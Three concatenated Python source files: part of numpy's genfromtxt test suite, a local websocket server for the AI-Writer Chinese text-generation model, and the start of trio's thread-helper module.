control = np.array([('2009', 23., 46)],
dtype=[('f0', '|S4'), ('f1', float), ('f2', float)])
assert_equal(test, control)
test = np.ndfromtxt(StringIO(dstr,),
delimiter=";", dtype=float, converters={0:float})
control = np.array([2009., 23., 46],)
assert_equal(test, control)
def test_dtype_with_object(self):
"Test using an explicit dtype with an object"
from datetime import date
import time
data = asbytes(""" 1; 2001-01-01
2; 2002-01-31 """)
ndtype = [('idx', int), ('code', np.object)]
func = lambda s: strptime(s.strip(), "%Y-%m-%d")
converters = {1: func}
test = np.genfromtxt(StringIO(data), delimiter=";", dtype=ndtype,
converters=converters)
control = np.array([(1, datetime(2001, 1, 1)), (2, datetime(2002, 1, 31))],
dtype=ndtype)
assert_equal(test, control)
#
ndtype = [('nest', [('idx', int), ('code', np.object)])]
try:
test = np.genfromtxt(StringIO(data), delimiter=";",
dtype=ndtype, converters=converters)
except NotImplementedError:
pass
else:
errmsg = "Nested dtype involving objects should be supported."
raise AssertionError(errmsg)
def test_userconverters_with_explicit_dtype(self):
"Test user_converters w/ explicit (standard) dtype"
data = StringIO('skip,skip,2001-01-01,1.0,skip')
test = np.genfromtxt(data, delimiter=",", names=None, dtype=float,
usecols=(2, 3), converters={2: bytes})
control = np.array([('2001-01-01', 1.)],
dtype=[('', '|S10'), ('', float)])
assert_equal(test, control)
def test_spacedelimiter(self):
"Test space delimiter"
data = StringIO("1 2 3 4 5\n6 7 8 9 10")
test = np.ndfromtxt(data)
control = np.array([[ 1., 2., 3., 4., 5.],
[ 6., 7., 8., 9., 10.]])
assert_equal(test, control)
def test_integer_delimiter(self):
"Test using an integer for delimiter"
data = " 1 2 3\n 4 5 67\n890123 4"
test = np.genfromtxt(StringIO(data), delimiter=3)
control = np.array([[1, 2, 3], [4, 5, 67], [890, 123, 4]])
assert_equal(test, control)
def test_missing(self):
data = StringIO('1,2,3,,5\n')
test = np.ndfromtxt(data, dtype=int, delimiter=',', \
converters={3:lambda s: int(s or - 999)})
control = np.array([1, 2, 3, -999, 5], int)
assert_equal(test, control)
def test_missing_with_tabs(self):
"Test w/ a delimiter tab"
txt = "1\t2\t3\n\t2\t\n1\t\t3"
test = np.genfromtxt(StringIO(txt), delimiter="\t",
usemask=True,)
ctrl_d = np.array([(1, 2, 3), (np.nan, 2, np.nan), (1, np.nan, 3)],)
ctrl_m = np.array([(0, 0, 0), (1, 0, 1), (0, 1, 0)], dtype=bool)
assert_equal(test.data, ctrl_d)
assert_equal(test.mask, ctrl_m)
def test_usecols(self):
"Test the selection of columns"
# Select 1 column
control = np.array([[1, 2], [3, 4]], float)
data = StringIO()
np.savetxt(data, control)
data.seek(0)
test = np.ndfromtxt(data, dtype=float, usecols=(1,))
assert_equal(test, control[:, 1])
#
control = np.array([[1, 2, 3], [3, 4, 5]], float)
data = StringIO()
np.savetxt(data, control)
data.seek(0)
test = np.ndfromtxt(data, dtype=float, usecols=(1, 2))
assert_equal(test, control[:, 1:])
# Testing with arrays instead of tuples.
data.seek(0)
test = np.ndfromtxt(data, dtype=float, usecols=np.array([1, 2]))
assert_equal(test, control[:, 1:])
def test_usecols_as_css(self):
"Test giving usecols with a comma-separated string"
data = "1 2 3\n4 5 6"
test = np.genfromtxt(StringIO(data),
names="a, b, c", usecols="a, c")
ctrl = np.array([(1, 3), (4, 6)], dtype=[(_, float) for _ in "ac"])
assert_equal(test, ctrl)
def test_usecols_with_structured_dtype(self):
"Test usecols with an explicit structured dtype"
data = StringIO("""JOE 70.1 25.3\nBOB 60.5 27.9""")
names = ['stid', 'temp']
dtypes = ['S4', 'f8']
test = np.ndfromtxt(data, usecols=(0, 2), dtype=zip(names, dtypes))
assert_equal(test['stid'], asbytes_nested(["JOE", "BOB"]))
assert_equal(test['temp'], [25.3, 27.9])
def test_usecols_with_integer(self):
"Test usecols with an integer"
test = np.genfromtxt(StringIO("1 2 3\n4 5 6"), usecols=0)
assert_equal(test, np.array([1., 4.]))
def test_usecols_with_named_columns(self):
"Test usecols with named columns"
ctrl = np.array([(1, 3), (4, 6)], dtype=[('a', float), ('c', float)])
data = "1 2 3\n4 5 6"
kwargs = dict(names="a, b, c")
test = np.genfromtxt(StringIO(data), usecols=(0, -1), **kwargs)
assert_equal(test, ctrl)
test = np.genfromtxt(StringIO(data),
usecols=('a', 'c'), **kwargs)
assert_equal(test, ctrl)
def test_empty_file(self):
"Test that an empty file raises the proper exception"
data = StringIO()
assert_raises(IOError, np.ndfromtxt, data)
def test_fancy_dtype_alt(self):
"Check that a nested dtype isn't MIA"
data = StringIO('1,2,3.0\n4,5,6.0\n')
fancydtype = np.dtype([('x', int), ('y', [('t', int), ('s', float)])])
test = np.mafromtxt(data, dtype=fancydtype, delimiter=',')
control = ma.array([(1, (2, 3.0)), (4, (5, 6.0))], dtype=fancydtype)
assert_equal(test, control)
def test_shaped_dtype(self):
c = StringIO("aaaa 1.0 8.0 1 2 3 4 5 6")
dt = np.dtype([('name', 'S4'), ('x', float), ('y', float),
('block', int, (2, 3))])
x = np.ndfromtxt(c, dtype=dt)
a = np.array([('aaaa', 1.0, 8.0, [[1, 2, 3], [4, 5, 6]])],
dtype=dt)
assert_array_equal(x, a)
def test_withmissing(self):
data = StringIO('A,B\n0,1\n2,N/A')
kwargs = dict(delimiter=",", missing_values="N/A", names=True)
test = np.mafromtxt(data, dtype=None, **kwargs)
control = ma.array([(0, 1), (2, -1)],
mask=[(False, False), (False, True)],
dtype=[('A', np.int), ('B', np.int)])
assert_equal(test, control)
assert_equal(test.mask, control.mask)
#
data.seek(0)
test = np.mafromtxt(data, **kwargs)
control = ma.array([(0, 1), (2, -1)],
mask=[(False, False), (False, True)],
dtype=[('A', np.float), ('B', np.float)])
assert_equal(test, control)
assert_equal(test.mask, control.mask)
def test_user_missing_values(self):
data = "A, B, C\n0, 0., 0j\n1, N/A, 1j\n-9, 2.2, N/A\n3, -99, 3j"
basekwargs = dict(dtype=None, delimiter=",", names=True,)
mdtype = [('A', int), ('B', float), ('C', complex)]
#
test = np.mafromtxt(StringIO(data), missing_values="N/A",
**basekwargs)
control = ma.array([(0, 0.0, 0j), (1, -999, 1j),
(-9, 2.2, -999j), (3, -99, 3j)],
mask=[(0, 0, 0), (0, 1, 0), (0, 0, 1), (0, 0, 0)],
dtype=mdtype)
assert_equal(test, control)
#
basekwargs['dtype'] = mdtype
test = np.mafromtxt(StringIO(data),
missing_values={0:-9, 1:-99, 2:-999j}, **basekwargs)
control = ma.array([(0, 0.0, 0j), (1, -999, 1j),
(-9, 2.2, -999j), (3, -99, 3j)],
mask=[(0, 0, 0), (0, 1, 0), (1, 0, 1), (0, 1, 0)],
dtype=mdtype)
assert_equal(test, control)
#
test = np.mafromtxt(StringIO(data),
missing_values={0:-9, 'B':-99, 'C':-999j},
**basekwargs)
control = ma.array([(0, 0.0, 0j), (1, -999, 1j),
(-9, 2.2, -999j), (3, -99, 3j)],
mask=[(0, 0, 0), (0, 1, 0), (1, 0, 1), (0, 1, 0)],
dtype=mdtype)
assert_equal(test, control)
def test_user_filling_values(self):
"Test with missing and filling values"
ctrl = np.array([(0, 3), (4, -999)], dtype=[('a', int), ('b', int)])
data = "N/A, 2, 3\n4, ,???"
kwargs = dict(delimiter=",",
dtype=int,
names="a,b,c",
missing_values={0:"N/A", 'b':" ", 2:"???"},
filling_values={0:0, 'b':0, 2:-999})
test = np.genfromtxt(StringIO(data), **kwargs)
ctrl = np.array([(0, 2, 3), (4, 0, -999)],
dtype=[(_, int) for _ in "abc"])
assert_equal(test, ctrl)
#
test = np.genfromtxt(StringIO(data), usecols=(0, -1), **kwargs)
ctrl = np.array([(0, 3), (4, -999)], dtype=[(_, int) for _ in "ac"])
assert_equal(test, ctrl)
def test_withmissing_float(self):
data = StringIO('A,B\n0,1.5\n2,-999.00')
test = np.mafromtxt(data, dtype=None, delimiter=',',
missing_values='-999.0', names=True,)
control = ma.array([(0, 1.5), (2, -1.)],
mask=[(False, False), (False, True)],
dtype=[('A', np.int), ('B', np.float)])
assert_equal(test, control)
assert_equal(test.mask, control.mask)
def test_with_masked_column_uniform(self):
"Test masked column"
data = StringIO('1 2 3\n4 5 6\n')
test = np.genfromtxt(data, dtype=None,
missing_values='2,5', usemask=True)
control = ma.array([[1, 2, 3], [4, 5, 6]], mask=[[0, 1, 0], [0, 1, 0]])
assert_equal(test, control)
def test_with_masked_column_various(self):
"Test masked column"
data = StringIO('True 2 3\nFalse 5 6\n')
test = np.genfromtxt(data, dtype=None,
missing_values='2,5', usemask=True)
control = ma.array([(1, 2, 3), (0, 5, 6)],
mask=[(0, 1, 0), (0, 1, 0)],
dtype=[('f0', bool), ('f1', bool), ('f2', int)])
assert_equal(test, control)
def test_invalid_raise(self):
"Test invalid raise"
data = ["1, 1, 1, 1, 1"] * 50
for i in range(5):
data[10 * i] = "2, 2, 2, 2 2"
data.insert(0, "a, b, c, d, e")
mdata = StringIO("\n".join(data))
#
kwargs = dict(delimiter=",", dtype=None, names=True)
# XXX: is there a better way to get the return value of the callable in
# assert_warns ?
ret = {}
def f(_ret={}):
_ret['mtest'] = np.ndfromtxt(mdata, invalid_raise=False, **kwargs)
assert_warns(ConversionWarning, f, _ret=ret)
mtest = ret['mtest']
assert_equal(len(mtest), 45)
assert_equal(mtest, np.ones(45, dtype=[(_, int) for _ in 'abcde']))
#
mdata.seek(0)
assert_raises(ValueError, np.ndfromtxt, mdata,
delimiter=",", names=True)
def test_invalid_raise_with_usecols(self):
"Test invalid_raise with usecols"
data = ["1, 1, 1, 1, 1"] * 50
for i in range(5):
data[10 * i] = "2, 2, 2, 2 2"
data.insert(0, "a, b, c, d, e")
mdata = StringIO("\n".join(data))
kwargs = dict(delimiter=",", dtype=None, names=True,
invalid_raise=False)
# XXX: is there a better way to get the return value of the callable in
# assert_warns ?
ret = {}
def f(_ret={}):
_ret['mtest'] = np.ndfromtxt(mdata, usecols=(0, 4), **kwargs)
assert_warns(ConversionWarning, f, _ret=ret)
mtest = ret['mtest']
assert_equal(len(mtest), 45)
assert_equal(mtest, np.ones(45, dtype=[(_, int) for _ in 'ae']))
#
mdata.seek(0)
mtest = np.ndfromtxt(mdata, usecols=(0, 1), **kwargs)
assert_equal(len(mtest), 50)
control = np.ones(50, dtype=[(_, int) for _ in 'ab'])
control[[10 * _ for _ in range(5)]] = (2, 2)
assert_equal(mtest, control)
def test_inconsistent_dtype(self):
"Test inconsistent dtype"
data = ["1, 1, 1, 1, -1.1"] * 50
mdata = StringIO("\n".join(data))
converters = {4: lambda x:"(%s)" % x}
kwargs = dict(delimiter=",", converters=converters,
dtype=[(_, int) for _ in 'abcde'],)
assert_raises(ValueError, np.genfromtxt, mdata, **kwargs)
def test_default_field_format(self):
"Test default format"
data = "0, 1, 2.3\n4, 5, 6.7"
mtest = np.ndfromtxt(StringIO(data),
delimiter=",", dtype=None, defaultfmt="f%02i")
ctrl = np.array([(0, 1, 2.3), (4, 5, 6.7)],
dtype=[("f00", int), ("f01", int), ("f02", float)])
assert_equal(mtest, ctrl)
def test_single_dtype_wo_names(self):
"Test single dtype w/o names"
data = "0, 1, 2.3\n4, 5, 6.7"
mtest = np.ndfromtxt(StringIO(data),
delimiter=",", dtype=float, defaultfmt="f%02i")
ctrl = np.array([[0., 1., 2.3], [4., 5., 6.7]], dtype=float)
assert_equal(mtest, ctrl)
def test_single_dtype_w_explicit_names(self):
"Test single dtype w explicit names"
data = "0, 1, 2.3\n4, 5, 6.7"
mtest = np.ndfromtxt(StringIO(data),
delimiter=",", dtype=float, names="a, b, c")
ctrl = np.array([(0., 1., 2.3), (4., 5., 6.7)],
dtype=[(_, float) for _ in "abc"])
assert_equal(mtest, ctrl)
def test_single_dtype_w_implicit_names(self):
"Test single dtype w implicit names"
data = "a, b, c\n0, 1, 2.3\n4, 5, 6.7"
mtest = np.ndfromtxt(StringIO(data),
delimiter=",", dtype=float, names=True)
ctrl = np.array([(0., 1., 2.3), (4., 5., 6.7)],
dtype=[(_, float) for _ in "abc"])
assert_equal(mtest, ctrl)
def test_easy_structured_dtype(self):
"Test easy structured dtype"
data = "0, 1, 2.3\n4, 5, 6.7"
mtest = np.ndfromtxt(StringIO(data), delimiter=",",
dtype=(int, float, float), defaultfmt="f_%02i")
ctrl = np.array([(0, 1., 2.3), (4, 5., 6.7)],
dtype=[("f_00", int), ("f_01", float), ("f_02", float)])
assert_equal(mtest, ctrl)
def test_autostrip(self):
"Test autostrip"
data = "01/01/2003 , 1.3, abcde"
kwargs = dict(delimiter=",", dtype=None)
mtest = np.ndfromtxt(StringIO(data), **kwargs)
ctrl = np.array([('01/01/2003 ', 1.3, ' abcde')],
dtype=[('f0', '|S12'), ('f1', float), ('f2', '|S8')])
assert_equal(mtest, ctrl)
mtest = np.ndfromtxt(StringIO(data), autostrip=True, **kwargs)
ctrl = np.array([('01/01/2003', 1.3, 'abcde')],
dtype=[('f0', '|S10'), ('f1', float), ('f2', '|S5')])
assert_equal(mtest, ctrl)
def test_replace_space(self):
"Test the 'replace_space' option"
txt = "A.A, B (B), C:C\n1, 2, 3.14"
# Test default: replace ' ' by '_' and delete non-alphanum chars
test = np.genfromtxt(StringIO(txt),
delimiter=",", names=True, dtype=None)
ctrl_dtype = [("AA", int), ("B_B", int), ("CC", float)]
ctrl = np.array((1, 2, 3.14), dtype=ctrl_dtype)
assert_equal(test, ctrl)
# Test: no replace, no delete
test = np.genfromtxt(StringIO(txt),
delimiter=",", names=True, dtype=None,
replace_space='', deletechars='')
ctrl_dtype = [("A.A", int), ("B (B)", int), ("C:C", float)]
ctrl = np.array((1, 2, 3.14), dtype=ctrl_dtype)
assert_equal(test, ctrl)
# Test: no delete (spaces are replaced by _)
test = np.genfromtxt(StringIO(txt),
delimiter=",", names=True, dtype=None,
deletechars='')
ctrl_dtype = [("A.A", int), ("B_(B)", int), ("C:C", float)]
ctrl = np.array((1, 2, 3.14), dtype=ctrl_dtype)
assert_equal(test, ctrl)
def test_incomplete_names(self):
"Test w/ incomplete names"
data = "A,,C\n0,1,2\n3,4,5"
kwargs = dict(delimiter=",", names=True)
# w/ dtype=None
ctrl = np.array([(0, 1, 2), (3, 4, 5)],
dtype=[(_, int) for _ in ('A', 'f0', 'C')])
test = np.ndfromtxt(StringIO(data), dtype=None, **kwargs)
assert_equal(test, ctrl)
# w/ default dtype
ctrl = np.array([(0, 1, 2), (3, 4, 5)],
dtype=[(_, float) for _ in ('A', 'f0', 'C')])
test = np.ndfromtxt(StringIO(data), **kwargs)
def test_names_auto_completion(self):
"Make sure that names are properly completed"
data = "1 2 3\n 4 5 6"
test = np.genfromtxt(StringIO(data),
dtype=(int, float, int), names="a")
ctrl = np.array([(1, 2, 3), (4, 5, 6)],
dtype=[('a', int), ('f0', float), ('f1', int)])
assert_equal(test, ctrl)
def test_names_with_usecols_bug1636(self):
"Make sure we pick up the right names w/ usecols"
data = "A,B,C,D,E\n0,1,2,3,4\n0,1,2,3,4\n0,1,2,3,4"
ctrl_names = ("A", "C", "E")
test = np.genfromtxt(StringIO(data),
dtype=(int, int, int), delimiter=",",
usecols=(0, 2, 4), names=True)
assert_equal(test.dtype.names, ctrl_names)
#
test = np.genfromtxt(StringIO(data),
dtype=(int, int, int), delimiter=",",
usecols=("A", "C", "E"), names=True)
assert_equal(test.dtype.names, ctrl_names)
#
test = np.genfromtxt(StringIO(data),
dtype=int, delimiter=",",
usecols=("A", "C", "E"), names=True)
assert_equal(test.dtype.names, ctrl_names)
def test_fixed_width_names(self):
"Test fix-width w/ names"
data = " A B C\n 0 1 2.3\n 45 67 9."
kwargs = dict(delimiter=(5, 5, 4), names=True, dtype=None)
ctrl = np.array([(0, 1, 2.3), (45, 67, 9.)],
dtype=[('A', int), ('B', int), ('C', float)])
test = np.ndfromtxt(StringIO(data), **kwargs)
assert_equal(test, ctrl)
#
kwargs = dict(delimiter=5, names=True, dtype=None)
ctrl = np.array([(0, 1, 2.3), (45, 67, 9.)],
dtype=[('A', int), ('B', int), ('C', float)])
test = np.ndfromtxt(StringIO(data), **kwargs)
assert_equal(test, ctrl)
def test_filling_values(self):
"Test missing values"
data = "1, 2, 3\n1, , 5\n0, 6, \n"
kwargs = dict(delimiter=",", dtype=None, filling_values= -999)
ctrl = np.array([[1, 2, 3], [1, -999, 5], [0, 6, -999]], dtype=int)
test = np.ndfromtxt(StringIO(data), **kwargs)
assert_equal(test, ctrl)
def test_recfromtxt(self):
#
data = StringIO('A,B\n0,1\n2,3')
kwargs = dict(delimiter=",", missing_values="N/A", names=True)
test = np.recfromtxt(data, **kwargs)
control = np.array([(0, 1), (2, 3)],
dtype=[('A', np.int), ('B', np.int)])
self.assertTrue(isinstance(test, np.recarray))
assert_equal(test, control)
#
data = StringIO('A,B\n0,1\n2,N/A')
test = np.recfromtxt(data, dtype=None, usemask=True, **kwargs)
control = ma.array([(0, 1), (2, -1)],
mask=[(False, False), (False, True)],
dtype=[('A', np.int), ('B', np.int)])
assert_equal(test, control)
assert_equal(test.mask, control.mask)
assert_equal(test.A, [0, 2])
def test_recfromcsv(self):
#
data = StringIO('A,B\n0,1\n2,3')
kwargs = dict(missing_values="N/A", names=True, case_sensitive=True)
test = np.recfromcsv(data, dtype=None, **kwargs)
control = np.array([(0, 1), (2, 3)],
dtype=[('A', np.int), ('B', np.int)])
self.assertTrue(isinstance(test, np.recarray))
assert_equal(test, control)
#
data = StringIO('A,B\n0,1\n2,N/A')
test = np.recfromcsv(data, dtype=None, usemask=True, **kwargs)
control = ma.array([(0, 1), (2, -1)],
mask=[(False, False), (False, True)],
dtype=[('A', np.int), ('B', np.int)])
assert_equal(test, control)
assert_equal(test.mask, control.mask)
assert_equal(test.A, [0, 2])
#
data = StringIO('A,B\n0,1\n2,3')
test = np.recfromcsv(data, missing_values='N/A',)
control = np.array([(0, 1), (2, 3)],
dtype=[('a', np.int), ('b', np.int)])
self.assertTrue(isinstance(test, np.recarray))
assert_equal(test, control)
def test_gft_filename(self):
# Test that we can load data from a filename as well as a file object
data = '0 1 2\n3 4 5'
exp_res = np.arange(6).reshape((2,3))
assert_array_equal(np.genfromtxt(StringIO(data)), exp_res)
f, name = mkstemp()
# Thanks to another windows brokeness, we can't use
# NamedTemporaryFile: a file created from this function cannot be
# reopened by another open call. So we first put the string
# of the test reference array, write it to a securely opened file,
# which is then read from by the loadtxt function
try:
os.write(f, asbytes(data))
assert_array_equal(np.genfromtxt(name), exp_res)
finally:
os.close(f)
os.unlink(name)
def test_gft_generator_source(self):
def count():
for i in range(10):
yield asbytes("%d" % i)
res = np.genfromtxt(count())
assert_array_equal(res, np.arange(10))
def test_gzip_load():
a = np.random.random((5, 5))
s = StringIO()
f = gzip.GzipFile(fileobj=s, mode="w")
np.save(f, a)
f.close()
s.seek(0)
f = gzip.GzipFile(fileobj=s, mode="r")
assert_array_equal(np.load(f), a)
def test_gzip_loadtxt():
# Thanks to another windows brokeness, we can't use
# NamedTemporaryFile: a file created from this function cannot be
# reopened by another open call. So we first put the gzipped string
# of the test reference array, write it to a securely opened file,
# which is then read from by the loadtxt function
s = StringIO()
g = gzip.GzipFile(fileobj=s, mode='w')
g.write(asbytes('1 2 3\n'))
g.close()
s.seek(0)
f, name = mkstemp(suffix='.gz')
try:
os.write(f, s.read())
s.close()
assert_array_equal(np.loadtxt(name), [1, 2, 3])
finally:
os.close(f)
os.unlink(name)
def test_gzip_loadtxt_from_string():
s = StringIO()
f = gzip.GzipFile(fileobj=s, mode="w")
f.write(asbytes('1 2 3\n'))
f.close()
s.seek(0)
f = gzip.GzipFile(fileobj=s, mode="r")
assert_array_equal(np.loadtxt(f), [1, 2, 3])
def test_npzfile_dict():
s = StringIO()
x = np.zeros((3, 3))
y = np.zeros((3, 3))
np.savez(s, x=x, y=y)
s.seek(0)
z = np.load(s)
assert 'x' in z
assert 'y' in z
assert 'x' in z.keys()
assert 'y' in z.keys()
for f, a in z.iteritems():
assert f in ['x', 'y']
assert_equal(a.shape, (3, 3))
assert len(z.items()) == 2
for f in z:
assert f in ['x', 'y']
assert 'x' in list(z.iterkeys())
if __name__ == "__main__":
run_module_suite()
|
server.py | ########################################################################################################
# AI人工智障写作 - https://github.com/BlinkDL/AI-Writer
########################################################################################################
import math
import json
import random
import time
_DEBUG_LEVEL_ = 2 # 2 = full, 1 = partial, 0 = none
PORT_NUM = 8266
#
# 需要 pytorch 1.9.x 及以上版本
#
# gpu:只支持 nvidia 显卡,速度最快,需要 cuda+cudnn
# dml:支持 amd / intel / nvidia 显卡,需要不同的模型,需要 pip install onnxruntime-directml 然后在 run.py 和 server.py 设置为 dml 模式
# cpu:没显卡就选它,但也是用 nvidia 卡的模型
RUN_DEVICE = 'cpu' # gpu 或 dml 或 cpu
MODEL_NAME = 'model/wangwen-2022-02-15' # 模型名
WORD_NAME = 'model/wangwen-2022-02-15' # 这个也修改
top_p = 0.75 # 这个的范围是 0 到 1。越大,变化越多。越小,生成效果越规矩。自己试试 0 和 0.5 和 1.0 的效果就知道了
top_p_newline = 0.9
LENGTH_OF_EACH = 20 # 每次写多少字
ctx_len = 512
n_layer = 12
n_head = 12
n_embd = n_head * 64
n_attn = n_embd
n_ffn = n_embd
##############################################################################
def main():
import sys
import signal
from multiprocessing import Process, RawArray, freeze_support, Queue, Lock
freeze_support()
queueZ = Queue()
queueX = Queue()
process = []
process.append(Process(target=SocketWorker, args=(queueX, queueZ)))
process.append(Process(target=NeuralWorker, args=(queueZ, queueX)))
for p in process:
p.daemon = True
p.start()
def signal_handler(signal, frame):
for p in process:
p.terminate()
sys.exit(0)
signal.signal(signal.SIGINT, signal_handler)
signal.signal(signal.SIGTERM, signal_handler)
for p in process:
p.join()
def SocketWorker(queueX, queueZ):
import asyncio
import websockets
import signal
signal.signal(signal.SIGINT, signal.SIG_DFL)
USERS = set()
async def producer():
hasData = False
try:
K, out = queueX.get(timeout=0.05)
hasData = True
except:
pass
if hasData:
return (K, out)
else:
await asyncio.sleep(0.001)
if random.random() < -0.003:
return '[PING]'
else:
return ''
async def producer_handler(websocket, path):
while True:
msg = await producer()
if isinstance(msg, tuple):
K, msg = msg
for x in USERS:
if x.client_id == K:
# if _DEBUG_LEVEL_ > 0:
# print('sent X', K)
await x.send(msg)
break
elif msg != '':
await websocket.send(msg)
async def consumer(websocket, msg):
if msg == '[PONG]':
return
try:
msg = json.loads(msg)
if msg['op'].lower() == 'get':
# if _DEBUG_LEVEL_ > 0:
# print('get', websocket.client_id, msg['txt'])
queueZ.put((websocket.client_id, msg['txt']))
except Exception as e:
print(e)
pass
async def consumer_handler(websocket, path):
while True:
msg = await websocket.recv()
await consumer(websocket, msg)
async def server(websocket, path):
websocket.client_id = '%020x' % random.randrange(16**20)
USERS.add(websocket)
print("[ws connect]", len(USERS), 'users @',
time.strftime("%Y %b %d %H:%M:%S", time.localtime(time.time())))
try:
await websocket.send('id_' + websocket.client_id)
consumer_task = asyncio.ensure_future(
consumer_handler(websocket, path))
producer_task = asyncio.ensure_future(
producer_handler(websocket, path))
done, pending = await asyncio.wait(
[consumer_task, producer_task],
return_when=asyncio.FIRST_COMPLETED)
for task in pending:
task.cancel()
finally:
USERS.remove(websocket)
print("[ws disconnect]", len(USERS))
def srv_exception(loop, context):
if _DEBUG_LEVEL_ > 1:
print('exception', loop, context)
pass
try:
start_server = websockets.serve(server, "127.0.0.1", PORT_NUM)
asyncio.get_event_loop().run_until_complete(start_server)
asyncio.get_event_loop().set_exception_handler(srv_exception)
asyncio.get_event_loop().run_forever()
except Exception as e:
print('[srv error]', e)
def NeuralWorker(queueZ, queueX):
from multiprocessing import Process, RawArray, freeze_support, Queue, Lock
import numpy as np
import torch
import torch.nn as nn
from torch.nn import functional as F
import src.utils
from src.model import GPT, GPTConfig
# src.utils.set_seed(42) # 是否固定随机数(固定后每次运行的生成结果都一样)
print('\nAI人工智障写作 https://github.com/BlinkDL/AI-Writer')
print('请关注我的知乎 https://zhuanlan.zhihu.com/p/423646620')
print('\n声明:模型的训练数据全部来自网文,缺乏生活常识。生成的文字仅供娱乐。请遵守法律法规。')
print(f'\nLoading model for {RUN_DEVICE}...', end=' ')
with open(WORD_NAME + '.json', "r", encoding="utf-16") as result_file:
word_table = json.load(result_file)
vocab_size = len(word_table)
def train_dataset(): return None
train_dataset.stoi = {v: int(k) for k, v in word_table.items()}
train_dataset.itos = {int(k): v for k, v in word_table.items()}
UNKNOWN_CHAR = train_dataset.stoi['\ue083']
if RUN_DEVICE == 'dml':
import onnxruntime as rt
sess_options = rt.SessionOptions()
sess_options.graph_optimization_level = rt.GraphOptimizationLevel.ORT_ENABLE_ALL
sess_options.execution_mode = rt.ExecutionMode.ORT_SEQUENTIAL
sess_options.enable_mem_pattern = False
rt_session = rt.InferenceSession(MODEL_NAME + '.onnx', sess_options=sess_options, providers=['DmlExecutionProvider'])
rt_session.set_providers(['DmlExecutionProvider'])
else:
model = GPT(GPTConfig(vocab_size, ctx_len, n_layer=n_layer, n_head=n_head, n_embd=n_embd, n_attn=n_attn, n_ffn=n_ffn))
m2 = torch.load(MODEL_NAME + '.pth', map_location='cpu').state_dict()
for i in range(n_layer):
prefix = f'blocks.{i}.attn.'
time_w = m2[prefix + 'time_w']
time_alpha = m2[prefix + 'time_alpha']
time_beta = m2[prefix + 'time_beta']
TT = ctx_len
T = ctx_len
w = F.pad(time_w, (0, TT))
w = torch.tile(w, [TT])
w = w[:, :-TT].reshape(-1, TT, 2 * TT - 1)
w = w[:, :, TT-1:]
w = w[:, :T, :T] * time_alpha[:, :, :T] * time_beta[:, :T, :]
m2[prefix + 'time_ww'] = w
del m2[prefix + 'time_w']
del m2[prefix + 'time_alpha']
del m2[prefix + 'time_beta']
if RUN_DEVICE == 'gpu':
model = model.cuda()
model.load_state_dict(m2)
print('done:', MODEL_NAME, '&', WORD_NAME)
while True:
K, Z = queueZ.get()
# print('neural task', K, Z)
ttt = time.time()
context = Z
context = context.strip().split('\n')
for c in range(len(context)):
context[c] = context[c].strip().strip('\u3000').strip('\r')
context = list(filter(lambda c: c != '', context))
context = '\n' + ('\n'.join(context)).strip()
# print('您输入的开头有 ' + str(len(context)) +
# ' 个字。注意,模型只会看最后 ' + str(ctx_len) + ' 个字。')
NUM_OF_RUNS = 1
for run in range(NUM_OF_RUNS):
x = np.array([train_dataset.stoi.get(s, UNKNOWN_CHAR)
for s in context], dtype=np.int64)
real_len = len(x)
print_begin = 0
out_txt = ''
for i in range(LENGTH_OF_EACH):
if i == 0:
print_begin = real_len
with torch.no_grad():
if RUN_DEVICE == 'dml':
if real_len < ctx_len:
xxx = np.pad(x, (0, ctx_len - real_len))
else:
xxx = x
out = rt_session.run(None, {rt_session.get_inputs()[0].name: [xxx[-ctx_len:]]})
out = torch.tensor(out[0])
else:
xxx = torch.tensor(x[-ctx_len:], dtype=torch.long)[None,...]
if RUN_DEVICE == 'gpu':
xxx = xxx.cuda()
out, _ = model(xxx)
out[:, :, UNKNOWN_CHAR] = -float('Inf')
pos = -1 if real_len >= ctx_len else real_len - 1
if train_dataset.itos[int(x[real_len-1])] == '\n':
char = src.utils.sample_logits(out, pos, temperature=1.0, top_p=top_p_newline)
else:
char = src.utils.sample_logits(out, pos, temperature=1.0, top_p=top_p)
x = np.append(x, char)
real_len += 1
completion = ''.join([train_dataset.itos[int(i)]
for i in x[print_begin:real_len]])
out_txt += completion
print_begin = real_len
outmsg = {}
outmsg['op'] = 'TXT'
outmsg['txt'] = out_txt
queueX.put((K, json.dumps(outmsg, separators=(',', ':'))))
# if _DEBUG_LEVEL_ > 1:
# print(time.time() - ttt, end=' ')
ttt = time.time()
if _DEBUG_LEVEL_ > 1:
print(context, end = '')
print(out_txt + '\n' + ('=' * 20))
if __name__ == "__main__":
main()
|
_threads.py | import threading
import queue as stdlib_queue
from itertools import count
from . import _core
__all__ = [
"current_await_in_trio_thread", "current_run_in_trio_thread",
"run_in_worker_thread",
]
def _await_in_trio_thread_cb(q, afn, args):
async def await_in_trio_thread_task():
nonlocal afn
afn = _core.disable_ki_protection(afn)
q.put_nowait(await _core.Result.acapture(afn, *args))
_core.spawn_system_task(await_in_trio_thread_task, name=afn)
def _run_in_trio_thread_cb(q, fn, args):
fn = _core.disable_ki_protection(fn)
q.put_nowait(_core.Result.capture(fn, *args))
def _current_do_in_trio_thread(name, cb):
call_soon = _core.current_call_soon_thread_and_signal_safe()
trio_thread = threading.current_thread()
def do_in_trio_thread(fn, *args):
if threading.current_thread() == trio_thread:
raise RuntimeError("must be called from a thread")
q = stdlib_queue.Queue()
call_soon(cb, q, fn, args)
return q.get().unwrap()
do_in_trio_thread.__name__ = name
return do_in_trio_thread
def current_run_in_trio_thread():
return _current_do_in_trio_thread(
"run_in_trio_thread", _run_in_trio_thread_cb)
def current_await_in_trio_thread():
return _current_do_in_trio_thread(
"await_in_trio_thread", _await_in_trio_thread_cb)
################################################################
# XX at some point it probably makes sense to implement some sort of thread
# pool? Or at least that's what everyone says.
#
# There are two arguments for thread pools:
# - speed (re-using threads instead of starting new ones)
# - throttling (if you have 1000 tasks, queue them up instead of spawning 1000
# threads and running out of memory)
#
# Regarding speed, it's not clear how much of an advantage this is. Some
# numbers on my Linux laptop:
#
# Spawning and then joining a thread:
#
# In [25]: %timeit t = threading.Thread(target=lambda: None); t.start(); t.join()
# 10000 loops, best of 3: 44 µs per loop
#
# Using a thread pool:
#
# In [26]: tpp = concurrent.futures.ThreadPoolExecutor()
# In [27]: %timeit tpp.submit(lambda: None).result()
# <warm up run elided>
# In [28]: %timeit tpp.submit(lambda: None).result()
# 10000 loops, best of 3: 40.8 µs per loop
#
# What's a fast getaddrinfo look like?
#
# # with hot DNS cache:
# In [23]: %timeit socket.getaddrinfo("google.com", "80")
# 10 loops, best of 3: 50.9 ms per loop
#
